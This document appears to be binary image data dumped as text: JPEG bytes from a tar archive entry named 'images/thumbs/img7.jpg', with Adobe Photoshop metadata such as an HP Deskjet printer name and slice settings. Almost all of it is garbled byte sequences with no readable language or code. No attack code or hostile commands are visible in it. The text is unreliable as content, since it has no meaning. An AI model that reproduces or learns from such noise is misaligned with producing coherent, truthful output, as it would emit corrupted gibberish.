��D�+RN��E�3��%�����^˴�䍘J��+��bXz�UV7�Ln����5�ü;��źW�2�*^��y&�~�S�g�`��*�p˃���]�(��E^.8���Hp�dPu�^nh����;���{U%�>׾��Z��Sl1.�m��]v��u�/�.ph���_�ޫ0�(z��I�x;��m-�^9�6ɴڧ
�� ��r�v����4�sD2O��E�����M!�|Q5����u�qvk�t��K�갉����+vfoV�ݯ4������iT� �E��B,]���L`���ag�D��I�s�&����m�A�
�hR�-��$�����~�l��ᅅ�4C��hN���o��qM8#L��(6����ZhB��I���WT���
l��Oy+��Gb$���"K�H���gk�V?xG�:��}�f����6)� ho�X,�e�a���&I�O�%���ik�}n8U����3���T�<��x��,&�`�g�Q��w$<�K�03��{q��W/s�5h��k4pD�≻'�re[ëq�drM�u��R]A��z�
qD�
dq0���]+���5[�[E܇T�z�^�=����黫��F�k�������q�n~�j/!#[�G����@���݆�c|RY�~����6���7��EJPֿ{w�&��*��\2c���)�/h^��8��axiP�f���0����x�-�b�è		�i�����F��ݽ,!� �=�A�8? 3}��%��5*k#�h���*��[û���[ջ��G8�ڍoqg�ѡA�(��tn�G0����i���8u��=�E�v��0�pS�tp�7bD]<��g�X�<���|�Lx��Ih�W���U;����z����Š3v@��ʸ7L��Jz #R�Nz��
�3��X��,�'>Kel���Yx@�q�^�4���Y�,d�]e&hq�{�����!3�Gq�NT���ۈF�#3F!n�pł���q�o�n�mU��i�ܽ�sn�ޖ�����#nyj��&x���iDb���4��Q��Ύ�ku��h���K�
�=;4F���<�y���۳���9�6�͍U�T��nAk���޽�ǷU�hjӨQ��ch�P I�׻
�.1���n�
dE΢-�y��/&@��c�yX�Tj썚�g��!�\[�=������Óۈ[��M�6�^��,�/~N:+M��vX+N��=��p�sc��qB,rZ%�\8g��y����ˇ���>��Á͵Sn���j�>����_�S��x�ƄrW���X���F#Pr?$��.)H���j����Q8K	�HR�]��4wh�ଖ�g��m]Jb�F߰�v~��7�Z�'5���9�4�(�g\�^��̀��HVȃg�E�^#ڶ���g�'�C��`���;N�	c��I�x� ������emkȩ!x/�9\������z.r@���Ǻ'_fj�l���}���m����®�B޻���v(6'�L��'EQ�r8�c��_qϒߚPa�Q�efE]u��v#�*m�-��%�
�<=�ӟ$��0�)�ʕ�QICF6�'N�	6���'���TdF�֥(��~�UOZ�=�'�`��J�̭̂���h<8)�\��N��eZ�t25��X_|��H��Q}����ٕ�l\�l!��$����|Րּ��{4P��ٝ+�����֗T��%�a�e�[3oz��9��uu�U4��[]<z��T=x�q��I�qS��"�j-�������)B.��5��j�T
B��r?��t�+vZ�y�^�#��Z4�
F��ru<�����$a
{n��(Ph�5+xj6GI�U��fΚFL�:�r	�]�ix~,՞��$]�^�Nd��7�k*�̔���t�N^;[__@�z�ׇ@��6X�c�S��եV��uۣU
o��ZI�K�'����h���V��h5M�����]}�4+r߲�Q�{q�r���{x*;�ph#��-qWȷ��5�6�(81��V���k��ݠ[�cu��P�F�
W�'#�Q����_�[����'Q��g������RX	�E��i�^.$�_�]K�h�>��&�Ƕ^�Ҟ.�v�NHR�=Xb�X��*~�F4�"(0[F�ad��V��…:3u�X��c��t&Cz�-?_�c�f3��Q=��Ğ����e7a�u.��\.3�3'_뒍��Y�phN������w�%��-�����GF�o��?���T�%((��6����B��s�[��:��=
����v-������	фt<�&D$u�/1����$:0#���]�=��_h�8ڌ�.��qq�Qb�=��t�S�S#~tÙ�"A�:�4^]���
.�p�R�����߇f���Oa�|Uc�\?5����ݏ�=���S��^:��b�C��g��w�a�D1�H~+���Tsή?�:�����N%�aM���{��N�����<�5��O�����,!1AQaq��� ���0P@���`p��?���LU��QB�20�"W�ֿ�R#%��q=<,���'����?���GM����b �<W�A���S��ך@⏴��pT;-9_/�������!�n�W����u���,����J\����N`���"��e~?A/�Ab��?h���
���y"��r��@Y}��|_B.�
]�A�V��W�?3�q.��؈TU�Ø���q��3�v�?%|¹��NF����J��{���Â�؁=Ga��%&zo:x��%�WA	�O�"��u���04�]����T�������,,��B���Ε�T�����+
D�_K�-˗.\����J�$h9]�N�ly�{�����H��V�z����d�肐�#��m;�q�k�7���
pQ} �=j��ŕx�S�o߼\͔Z�V�j$jw�W���]0jk�Lx��Oyk��n.��$�~�`�:�	���%���0��p���v�]}`aF�p�=�a�1m$�q��W��4�Eg�@���B�G����k���\�%F���r>�,`4�WĬ*�{��ٵe�e}wv�-�	A
��9�b����T����ݏ�ψ�l��G�ae,�\��=�D,�G-le����a�/h��{B���*D�7s{E�nK�u&��Snk���4��;���,SPm��W���a�D4=�P/���ˡβ�_S�[�9�a`.[�F�|2m�SBd|]�|�u��W�v9��;�?\l7�[{}=��q�B�vz���ƣFS֥�իA-�vG�̵�^˔7���٢�7C���h�+�J�+��b�-�X-��IP`�|P*v{���sR��6��ϽL��ՃS���n��<�Ti���:_�j�R�5f���8S�*쿈T��^9}�wf7z�B���[G�����e�r҂�s�-�G�

��WHn�?��}I��)��<J�x(]�cK���iWSSSTa�|�wH �5�q^����!�&b[�b��&�&�b�0��h�G������jD6��J��,ڳP�x�/��龗�H����C�)M�3SP���>7��H�*u~���\Q�KVB2�o����_��>o�u�ӕ@Y4%�Nԣ�*�o���,�/�?���.�
�Žݶ��/)½�]��W�=�n-m�er4�+�Hl���O
ղi�"0��b��tʕu�\`wLJ,r�il`��%��k.P��eå�>����\��g�^��|��?������w��l�E��ւ6
�Jx���v��J�$u�|�fnuQT�AN\�P•����H���#�̤Z�=H��)�@��Qn^���0rZ��s�d)�:W�_�������Dt]V�
�2��A���� U�K�	`�E�?})�َN]U���c|fd�?k��`���z�?I
�Mvʮ��.��$A?|��Z��?�\y��c`P��z_�H�x�L;4<ݫbJ2����u%�R���T"I��3x캇� A��g�`�ߥB�3���R>Ir┠Չ����W��F�B_��2�>�R�
u��5u���6��xf;�ud{�7~=&
�����-_bm9��R�B�!�j��j�Z��<�?�"�`2v~Ӎ�|���a4�4��݇P��iV.���^x.s�|����]D��J����f+@+m"���b�LA،q0��.ِ��7v�#��B_�r����_K�"�ln��W;h��}X•pi97<����C,�rɸ�fk\J������q(:��@��= +@�7h�u���Ղ]O9����yv|�}�>��0�a�:��Y�X�ǽo?p�B���6�����/FU����e��z�h%�S5`�E�rt�
C��1=���Dk����/��ۗ�X���ue�B�s9[�2�4+�<� �2�	N�3	b�a�}A�������FY`m�Eqtq�-A�T�h����Z��ʘ=`��'��/7�jnވ7Ǥ)�n�O����Z�d�U�Co:�k�y_��PZ�����,��W���㧛
Ed��E"�a��Pz#�
h��p���=�.��=N�������M{%�d*�t{M*�N�ZzDR��e���fQe�4�����/����p�}��;�FL��\ѯ��0X՚�N��v��z
ph����@�Q�?Q�^ 6_ٔt�È�Z*�%����1�ݚ��Dzl>a4ajG������_dnZ�HbdW(��V�rR�
���Ѳ�V�?M��>�k�[̸2�ˇ�U�=��r��Ȋ/ҝѕ�05�����r�)n�a��ӹ�[�a�ҏF��]�S��؎�mҰq��uC���J��.��{σW�F̦��x���NԌ���U�G��P��3!iA�&:e0�Hwd0�?/�]{F�u�vI�������A1t!h����
����#�M{�t%����r�˗.\�M�M��(�Sp�eY�h����4��̔�m}�(����"�(v���Au���� b����e;��xŴ���.?)m����@�J���dw�_#����,�a��� 6
�[�O1K��E
�;�F,mɏG�-v�7�u�3Q�\���OJ���m�6"��b���.A�/��
�w.\�}.\�r��Scwx�f
8L'��tb#OR9����Z�����0�:*�>P�N����<�Q~Et�� p/�;\t
�On`ރ��:�@{>D���1��b�Z��u������&�Ǵ}w�����P;���n�\���C_>��wF�՚j�:������ ב>c׃�����􈃨��eY��}._�ܾ�.\�r�˗.\�r�˚�{�!��Oc����1��}�i�"�I�06N�S�$����Z�D<��)��5?�_oa���0$Z2�T���Uo'�f�v�Kաg��Qk��B�a���xCa�?Hf�s$-���˘X�7�h�
�c��`m� �ң�%�5	C82��#S�&�y�����ʷ�����W���r�ˋ.\�r�..k�c��?�e���%��y�ukj��1�ޥ�C_0����M8�:��}�[�^
�&L�������.
f��_x�~OicS�_���1���)A:��u�=��L�0`��(�;]�Q���k
��xcq��qQ�AC�b_���
�K���B���h0�M�._[�r�ŋ_�\�r槱5{=1����[T�rY�����m5��T��X���j�1�o��-��x�L�|A	�jks��!�y�=�L���g.��\7@���X`S��$�}*t�1�\�"����+��Aw�!ο[0O����Ky���g3U�e˗��˗���.\��qbŋ.\�r�.^j
?�`�<�	ֺT���C�@��Y���6X��k�Ŕ���=��%:C�}c���B`[2]#��:�t+���
�à�|$�<}�=�5!�CX7�Ƶ��a���}m@
�U���
�
�E>�Xh�$���(����2�\�r���r�˗/�ŋ,X��˗.�0cߘml�78��ܗt!��S��*TP-��m΅c�Wr
/���@��+$Ծ���4)�Yۓk�ݿ�xV��|8�X\�w�`�����x~�{\��`�iq�l�!@�QG��Ya��v�~߹2谝��|/���Ԡ9_`~`�8��S�=�X���F��s3
��pe˗.\�r�˗.\�r�ŗ,X�e��r�����&�3����0���P�q�+���+��E"���>%TKj��4�s��QkZ�п�P��a�L0��ðƨKޥQ �.�cO��^�s���DR��!�cչSyy�����s(��L�)��X=s(�b�z�gSg��nÖ��
p�~%˗.\�r�˗.\�r�d���ŋ,X��\�p`��/yxx����jw_�\4���IR�,z��H~:4��S��E��.9���%��)��K�7�O�=�[�>����M���z?L��p�HJ��&�kG�A�����`4�ӛ�Ŏ�"��h��![]�d���GId�
}fr3�a�jf��L���P���F��c��OF w��'�R�2�˗.\�r�˗.\�r�ŗ,X��.\���`�8�ϼ�wi��%Ґ�{r����w�yaF�>����+m�0K1�Y6ك�mgDi�u��F�]��X��
�C=���%/��'�P%\�B�Z����ԐY��C+]��ĥ��ywb��L�mhB��Kq��;j����@�w�eآ���,r�����C�Vl��V��Eǻ��Z�?V�����r�˗.\�r�˗.\�r�ŋ1�~��A�����Aȴ���9����Yr��?���*k���ú���,b�F�T�x$�PTM}�n(�Yn\`�_5q�Z����?�n���g��J�ݾﴸ�b��#�ܻJm�.�(��z�](,�7�<���i�w�,�vZt~G�dQ�.ͯU��Y�if�����������kF�������H2�˗.\���.\�r�˗1c����b���6��w��,K��N�A���@Sk�ة�^"{���������@�Mt�YF
~&�!8ѱ��`���@�Yp�� ]��^��g�)ڷ���܌?-A�h��Z���&�X��9����oUWf
`�g�R��|F<*3��v��r�6V���Ơ�
F�&9
����'�q�,P�GM���ī6��P���x`�0�m���c[��#�.\r�˗.\�r�˗._K��c�(��0h��Kᬬ�c�3�艘�a���w���{M�;�mHk���J�n9��A9�����"�Y��9
>�.\q��ev�w�5�`�_G�N� ��QQJ����Kd�Bz&�O�Df
�!��ڙ]F ��
�ܻjР����

��d���
F5Z�2�i�=n������s����lƃ����+��pe��r�˗.\���.,��G���U��`�K�H��%�!�����|��t���_�T�(�c��r˚	@l��\[����\ߓ6��l]�݋��qg�S
,��|�в�Xz��3�0�ߘ
6)���FT�Ί؄p�r�tƭ%�#�@�PX���ցC˻�]�`ԉM��RY/G"h�%�>R�G*��}�7��\��D��I?����k�v�mN�7hV=%˗.\�r�˗._R���}���4�S
�x�A�LJ�\x,�++]	�՚Hk�L]҆�>��F����{m�EEM�v���f�
�}�*��ۢ�JaԺ��f���;-<{�����1Wl�b���І�ii�}.�F�w�,�zj�#��G����XEσb��	{XA[�Ej��p�9v��xLUJ��>bF���#�M�X�5��ل@�ɼ����36wb�r�j�V*��˗.\�r�˗.\�r�˗.\����3G�sR�g�7����mc��㊤�c縆��U�Y�@o�����xt*�ʠ.6�oc5y�h�k������$�^i��o-}�}٪K�,����e#��S�U[]V�Xhv6;�	l�<��K������1�)�j�uP�+S)m�$z>״U�����ƘA�X��=�߹�Uj�
�*5���������+�7�R�˗.\�r�˗.\�r�OG�k9�O�A�b��'�MJ���}R�y�e��}�Qxzwc+}�5`�� ��dl�v��1�1[�(b�}?X\��)�Y��q<�۰���R�BeX�x~bvӣ��&���ᆄ��i
��T��B���ˇy��ݩ�q=mH���v�b�����Ǽn��`T������I[!H�r�˗.\�r�˗.\�r��UJ�Q�S�1��������5o�T0U�ŧ���+�����ģ���2�J�Ҡ�b
��"U��[�K�.\�r�˗зL�Ĺ��T���7E�[��aZ��#*�E*��P�;�bw�>]�2QE��(���W��9vW�V�uX�����f�
����M������yj�6�<jǚ�#_r�˗.\�r�˗.\�}o���c�p���QkD�����bV��]
��\�/t�ve��-�����uj��̥��Ku�;��f[�O��\�p���t\bhaen�Ĥ����]�_4�#5�i�ɀw��9i����d�9mo�͝�,�j���{@R`8�C�5N����S!�����O�>�M`*�:c�}�G�^��ɟ���~є�|B�������î9����_$]��[[:D
��5`�(�m33��p�gA�a��`�dC.��^��^��XF�/,b��x:7�5�꾷.\�ԋH�����k0��y"ӧQ�NH4�iu��o~�-e��
�b�
&Y8���h1!hw�%����|���G1�!�͔��o2�۠�[_)?.�ї��i����Z�XpMgT{����T7���m,��	@/�@���"iѥ_r��l��f��1�P�vzK]�:.ҞM�[������S�Y�r�+Zr��z#,7��M�� �kgQܿ	�0���\�Uz��c`
��Q������Vx1q������[�{������-���1YU<F�,���u��h�y�Ԁ�?~�U˗�ܹr��X��6��c�@6T��$){�H�
t#L&hGHW*�� v
z]Jtj��W�1G���[~��ie��:�7C��d$����
��;��j�l{�0K�c��h��K{�a�2��0�k��R\T�Y��i?�N�և^��������_���5b��j�"Z�AF��1���ٸ^�Ҽ4fÅЏ��2��b%�K�nu�|�
�i��p�,�f;b�,�t����C�BVkù"� 'L�U�d�_o	�p"�h�g�[�
ѕ�ڙ��x��{Ks���X��Ht>����k���\�C��3j`�&�K��Z�g���ߑ�����*=�Cl��ʨ���D���
4	�_i����e�
����_��oϩ�tNGs�,U�+�?uA��J��`�m:���K�q�уZ۷j���H=�ᅨ�e�%i><<=�F�&!\��<�k45�>QNŌ�vf�+�'V�u�B��g�8��8
���-P%.�Q��/gn��.:���UGl�<K�{�h��m1I��[m��ļoubU�+@��1%v�����t���6\�T`�Ї����F/Xd�݋�n����+�H��ݏ��V��hǑ���c���|�˹Ks�9�c`%}�<D�hP0�K�oX�H�����-����w]J�O&ɹ�q��]��r�O��>"��!SŜ��;�V6��DIĆϏ�+������i���j��f��-���oY����#��ev�A���AX	H���ڗ-j�a�)��W���q8i��ӃfW���+f(��lN�0�ܪ+�d�+b9:��ާ+՛TYM��+Z<�C+Dm)-7��C�����A��"a3f��.}ϗQ��v6�X�J�%I�-OѬ�q�<����hi�'.^����]�=���r�6aN^�.Bw��]
͗�Z+���7�mp��%��!f����q��/X���"�\�����l�93N��;b��&���ڥ���@�/�W�-/��^��<���7*��=��U���/<�s+�C��
#Lq����D�|��[�K���Y�!PK���L]�/�T���a�;H�4������4x��(Z�!���l�i�ir�i�T�ï�Ԩ)�3oV��5Ou*�ߟ�L���j
�x�|tL"Z��G�Y7�-�7wR�5hu�mY�1Xo����~u#����R�&,�w��[�w���x�N�Ь�k���(H�����sl��S�R�f�����WA�LgX��p�s��r��>�"��ʾa�ӏ(޾��iy�񭥵���o�u��5����>��¸n�e��~�t���6���]Z�D��K1���]�V[�z�X�-*����
x��JMq{;�4��{�0�ڝ&Չ:�H��JP�a�C���}���m�0#P�^OF�HB��z��'"�kl����JK�ovb�_~`���Wƣ��3i��0�.B�ܘ4�(U�H��Hr��٘�)�w5~��;�mD���sN�V�6S�P��+vWx_��E����W�R�J��9M5�C��VS��QE�t~㟌q_yh���B�ǫ.��ŷ����U�.��EO���F��0��)�DT׶\b�;�}�~^a�̥���X�U�bYZ������w���B�fE;�I�Gk�ۏ�:T�(�3�������sj�R'E�E�OӪ2_/�R���*T�R�J�*W�Xe־�r\�w��J��Qf-U��	ie�s*���{E����J��2'��B��Q){e���j4gj� (D�PV=�<7	tJ��ǡ"�Uny�����-�-��oy]�)[����_������'�qb��8b�/h%�ϟ�R�J�*T�_E���w�d�î;�����u��p��cָ4�/������5-f��}�0y-��{DXH�E�<k򔊩����96�gyq;Wze�p��4�m��+�@9n+}���2�k]>���ZBY�R
����cq?��}u*T�R�J��UN�O'��o�i��}E�B�Sd͗�*��&��Dx �l[�����U؃���^�j&�C°���+fv�$aL_4f*�V����Y�/��_;���M�e�Œ&��3hC���`��ҺԩR���+�R�F����T��0�_����L�i�J�]�@�4
�.H[�1�\���v���g���J�4~b�e��i+ݙ���\ޥ6`� Kd̨��6�~�9J�nSh�����qbˋ�HQ�=t��3��1
C�{ZFa]c���Y&��k�v�
(o_+V�1�EW^�75\:�#F����_":��H�����J�2�o�(T�Re��w�bJ�үE=PG�
�/}"g>�`݊G:�q/0����"�g8+��s���FمE� j!����"����5���M)�\a�&�j%Rq �*zLs�g5�����Y'��Z4&E�k���ڥ�M��l���̘o����@�]y�հ��p t��5k[e�O��ݔq���)���a��~Ȅ������rݡy�[������5�Z��wS�p�pһ�wf�[��c��X{v�:��������_�Hg�OLˎ���Z�Yv��M`�,�M	CGg���n��o�=w�6a�ٙ�z�g�gv� 3F�0	9_q����aV��T=#�.��X�Wz����q	XA�>�ة>�L�[�Xh�J#�gڢ-^�=�ZvҺ��o�V�*g��P�H���73&����D�:-��)�_��2>nT������Ƽ�VR�
����,��>�l{������u���^�AK/^�1d�R�3���& P!0@`1"2p��?⬲���u��}[(��QEoR�MY���+�_�e��[�Bc�}X�P� �3Q�[:��Jȿ�lOk#H�ݚ�
���c�(�G�����PVP�6.���~�j��&8�#�2b�D}>�111uf�\�Й1o�1]�*b��DP���bylr��}"���ǵ�bw���[&I	�|��Q~%6�.����D��As�Q[��"v@[�i�~�+c�!E"+|�&3P�Ϧ9Be���^2���҉Y�R�,HK�DW>�QDI���%B�+:��v���Ezlr��^�/�lhH\��t��y���˦/J��f��Eqm�)؞�(�am�J���E���.��A�C{l�&/s�t�D���p�JB��c�q!lX�>�5��lP���~
[��,�������BT'�>&v��>���e
��[P�!�G�e�XίSI��D$C(x�pϹQ"�HIea�|X��be���KQ(D�����Ⱦ"n�1�?/��c^n��gv�"��lQ(�~�w�W5b�З�R�+|�H��"�Eb�5��4P��T!��d�d"7訉mC��)c�F7��J�����Gb<����}�]�{h�H�C����{V?O�M�R��H[+({X�v�!���5��dc�,E�W%���!-H}�Ė#���"�5�%4bDd����ɚѨ�",Cą�!��vM١�O��/
�
�YC��T)X�������Q|t��LCb�viː��,P���QD؄�ű
$������TI���B�)��W�^�J�.��#b|4NDf��L^�]Ĩ�r.6,_�3�:]*�K���k�"�f�����*��v��~t5��O�JQ]�����R��)��b�Bc�E=DX��$�p�h�d�\ōCv(�/h�ȭ1"�'H֑T���9�0�[E6u��LBEb��	���GN�l�h��#I{�L_6��Z��d%�5�(�iʼn�+$�Y�;HGef(���׆������͖�B��աG��C�4�5"���&�R�Ɗx�EqF����Y���^/
"_e��(Ӌ��/��?��+! 01P@A`"2BQpq��?�VYE�f�me3k6?M��(�Z-��e�q��Y��:��7YEf�,��g������mŖYy��+����dR�ne��$8�TmF���6����p��܈�i(��������j�md��5�Ȕ�JȲ:)�q�I�*�6�J�=YK�/ѡQ+���6�е�P�V�8�>�g�x�~��GM�QHS�9��V,���M-Ƥ�#����pGC/��/7�P���N��w�Ye���?�rbvx �z1��
"H�J9hyHQF�������cHI��:��&��!:����׷c��Џ�1鵔6!��C��ɒӤI���߶O(��:#;�4�&7��x�_����8��@���혞X�LQBcmX��إ�:d�\�!�BD�"(����,qhQl�4mHĤJ(ۋ���5�lLS�$%8|^edy%wm���-�R��4�ȭ2tU���YK���XS.�>INIU��O���WM��P����(�q���+��P���.��L�6YE^h��Bcd��+���hݖ+�X�7�/b�N4'�Ee�7�W�|y��YC�c�Euq���H���ա������f��>�?Kɡ8�$�P������$$7E����	�'?�
��PCǔ?IX�	Ƅ4%�
_�C(ۖU����QE�m�c4��Ij^Z��?F���)�C�
	e>�y��J�T��+�DY}zq�v$Y,��,��=(�J�����("�%d�o�.HpI��C"�re�+�iE>�Gq���TI�	��"��*���I�%#��r]��"1r$�K/,CB+�ŘDd�.hk�5��c�-�k�(��/J��89MǁF��K���͛�.�+0�H���q5b����N�V��C�&'�zi��y�b����?׷����jOs��]��3�͖�b��������/J��S����f���f���wT�!�l�1		�m�!��~:%�ؘ�G�E]�کIp"���,��LL��Q��X���zX��vU
�b�PІ(�°ŋ#"R��!�X�Q6�����{�HPc��Q���],](~���"��L�4��6�c\��W�CU(WEٴ��}(y��bΎ���5��C۴�(C��ؕ��2y����6�҇��k�u�p,Ҋd�=2�R��!ԇݲȭ���GC�l�Y�Em�S���D2ؕ��+��E�6O�S�h����$�'F’�i�̌X�QEt�$��&�Cc�ǂ���^��$����F�Y�-1*clcd"8b��4�D�r/���,�%����v!1Lҕ;F��*��wnd[^Lj�DdJ]%d!�$�#��$����/�
T�?V��� ��V�6��N�Lho�s4t���\�����KD��ϑYڦF
�!"�(��8��)��_UHf��il*�k� 7Ґ�Z�W"m�!�(m%����͑N��E�
QR5��G�/�^�6��v��G��}TT%Q-]4Ǧ͌�D5\|Ք�Y���jime}�c��V�
I�ǘ�#�"�vKL��a�&��d��Q��kF?�����P�R[�����BT9^7P���q�0�����5$�+!͜E�4\V��x?b�C�/5���Y�nƜ�	j9e1["�����Jlr�4�o*"F�G�B<�E�����جۄ)��b�!�2�詊6C�/�J;nѩ+U�����(
"�4�誏�p^MWl��,�n�\�b��
��ċ�KQQ�\F�QE�Н��HLӍ�R4EpE�FPQr�6JE�O��\�qX��C���/�xHr���e��Y��W�YEW�|��e�Ye����images/thumbs/img7.jpg000066600000102306151150443020010661 0ustar00����ExifMM*�����(1!�2Շi�$
��'
��'Adobe Photoshop 25.1 (Macintosh)2023:11:13 21:47:13�0231�������rz(�PHH���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��M)J��Rd�D-+�@J+)��-i5Kc��X���:;�Ყ�Ke��������S.ߡQt�;�����}/h� �G/�D�A�p��^0��
$�dtW� �}�E���v���\��
+邆[	�5�A:�RMZWI �HRI$�����RL��-�]1O]v[cj���a�h�O�Fux���h�s]n��|�����v'�1<:�GQ�������0��ւ���K��n�3��{�X�5��@�\YV�Z6����7��{��8��'U$d��s�c"Y����Ǩ��A+5אuf-d����b���c�G�]t~~E��+���SNm�����$�]n����E4r���Q���Ete(^YO���?�ن���mxm�x5�I�Y�11��q������a���#���+vqΟ���8JȢ{��9�]pm'��8��ws�w���>�}_�}N�L��d�_�K6�M�N=�
�*a����� ��`�?��de�[�Kp���/e��������5���k|���R��ԪE��e}O��I�q���
ll��������䆚PAEk�Q�R`!�I!�<���I')�S���10'�4�t�@�6���'�������3,������1���2��T��ֿK�^{5�6�=���ki����,�׉O��6y5�Cxc3��O^_��.L�~����o�up;|��6-4�+�$I�Vv%��K[����o����{ƿ�;��#A�5n������_�U��AP��A���L��ܕZƷ~E��p�G�����,1�[��Zs2 ���ԟ��}���G�/��'s��$���V�o�X���Z�ۙ
���X?�>����dΟQ�lv����i�.k����z�Q>�w#Z���(����N�P���|J��S����D���w��K|�٪�|ʍ�;3v��VF���R��8�e�W�o�����_FK
v�v�[�p>���� ���r�@�q����i��P�`�+b�jp�w�2jsuԁ���T���F��f!�`ΨMk��>H��$:(��FS�ki���%*������V�\�z�v��T�5�
�Ƴ_J���v��R~��v��@�Ţ,`��ھ���z�¨b�2����Y�Z@�����������k��6������X��p?��{���0W�g�8T2~�N���?��i����"=���T��9��,e������V�S����ù������x�۱��4F��x���������D5۬w��~��W-��\L����-{1��uV0�[��O�}M����X6��, �����ʘQ�ЃՒ����v&$8xI���hχ��%������]Jx>�4�V�������cO�;� ��˵�z��������i�gu8o������K;1�ć���~��Z�{˻����=Th��y��\r�2��ӗ���c���NA?G�ez��O�u��"���<`�S}u9�'S�n�k���K��_������*������^ZI?�,u����lg�
�Oլvvm���;�p�9α�|Q���K�*��<�]-
lΐ;�:ku�.��}�Hi��{WA����[�ё�4w|��V���׳z���v֏�Stk�Z�'��4g���>9�e㓋�GCx��E�X�wA�׷�kUw���dq��ݻ����/�-�A�7�?�T
pTO)��C����ҙ4����E/e��p�w潿N��E��V.am��S�t�����7z��3�_�Oe���P�
��o�'
yn�;fv��6�|N�V�×�8��Q6;v��q�Y1���DZ���Wc>��y����1;l�5���$j1��0���ԇ�۱������o�����E`_Eͯ,z˶��/ktk�k��%_C�"p��^?��d�<}����(��!��ɹ�d��x2��^�ꖆ9�:�D�Y�kw5RwK�0�{*��M��~ס}�'���Ɵ���3����┽9#��ɯ�}3v���X��>H��l`$��@�H?%Ϝ����ʛ�Ց�gB��F����=K~�b�}���bA����)�����9�+�9M<5���e�
#�I'�#�����>!�/Qw�<�5�hc4p��L��s��]���dV0Եg8��]��&�>%<��'�,��*Ff�@��;ks����q���C��HIӘ�:���8�,���?I�M�֤������Ά�Hy�p1���>%+YV|ǝ�����!���M)�S��T�Z�8��xk��?�����ȭ�U�\�Q!O����*�{��Q��k�75�jó'�t���-54�w�j+��/Y�1�o��S�תU��f^�TF��efu�����긞^����W��IY�X�}"CO묞<9A���qC�_��ҿ#���������~���?���+B�0T�ȸK��qр������>ël��%���x������Y[��*�E��M{�*��!(ٗ�
��"S:5���+T��ɾ��������V�7�fd@�7ϋ���-:�Ů}��^F;��)?Z(�F�gK�(5�ƒ�������I��@c�c���cj`|[��-
5�7?����/3�>���t�����@�V@��f���G�#���E��w2%͆���7�k`����}o�l]�zv'�H�h��N�ޝAۋ��߸����kSx�?
?�Y��0�{$ G��?���=�V5�0K�u�O�]Sj��q��|�5���W7av�Ѱ7��mj�)[Z^�n^2�̏�4��F֍����D'	�#l�ʈ)�X����ʒJ����QI�Cu�Aγ��I'j��I��}~�E$E��e�����
�^GW��q�5�
%$}Ζ����H2��*�6��A�����e�)���X)'~�����ï�\-����þ`�k�SI�ՃN�� �������KK��f$�����Photoshop 3.08BIMZ%G8BIM%��}�Ǿ	pv���N8BIM:printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTHP Deskjet 3540 seriesprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIMD@@8BIM8BIM=��img7��nullboundsObjcRct1Top longLeftlongBtomlong�Rghtlong�slicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlong�Rghtlong�urlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIMl�g�� P���Adobe_CM��Adobed����			



��g�"��
��?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?��M)J��Rd�D-+�@J+)��-i5Kc��X���:;�Ყ�Ke��������S.ߡQt�;�����}/h� �G/�D�A�p��^0��
$�dtW� �}�E���v���\��
+邆[	�5�A:�RMZWI �HRI$�����RL��-�]1O]v[cj���a�h�O�Fux���h�s]n��|�����v'�1<:�GQ�������0��ւ���K��n�3��{�X�5��@�\YV�Z6����7��{��8��'U$d��s�c"Y����Ǩ��A+5אuf-d����b���c�G�]t~~E��+���SNm�����$�]n����E4r���Q���Ete(^YO���?�ن���mxm�x5�I�Y�11��q������a���#���+vqΟ���8JȢ{��9�]pm'��8��ws�w���>�}_�}N�L��d�_�K6�M�N=�
�*a����� ��`�?��de�[�Kp���/e��������5���k|���R��ԪE��e}O��I�q���
ll��������䆚PAEk�Q�R`!�I!�<���I')�S���10'�4�t�@�6���'�������3,������1���2��T��ֿK�^{5�6�=���ki����,�׉O��6y5�Cxc3��O^_��.L�~����o�up;|��6-4�+�$I�Vv%��K[����o����{ƿ�;��#A�5n������_�U��AP��A���L��ܕZƷ~E��p�G�����,1�[��Zs2 ���ԟ��}���G�/��'s��$���V�o�X���Z�ۙ
���X?�>����dΟQ�lv����i�.k����z�Q>�w#Z���(����N�P���|J��S����D���w��K|�٪�|ʍ�;3v��VF���R��8�e�W�o�����_FK
v�v�[�p>���� ���r�@�q����i��P�`�+b�jp�w�2jsuԁ���T���F��f!�`ΨMk��>H��$:(��FS�ki���%*������V�\�z�v��T�5�
�Ƴ_J���v��R~��v��@�Ţ,`��ھ���z�¨b�2����Y�Z@�����������k��6������X��p?��{���0W�g�8T2~�N���?��i����"=���T��9��,e������V�S����ù������x�۱��4F��x���������D5۬w��~��W-��\L����-{1��uV0�[��O�}M����X6��, �����ʘQ�ЃՒ����v&$8xI���hχ��%������]Jx>�4�V�������cO�;� ��˵�z��������i�gu8o������K;1�ć���~��Z�{˻����=Th��y��\r�2��ӗ���c���NA?G�ez��O�u��"���<`�S}u9�'S�n�k���K��_������*������^ZI?�,u����lg�
�Oլvvm���;�p�9α�|Q���K�*��<�]-
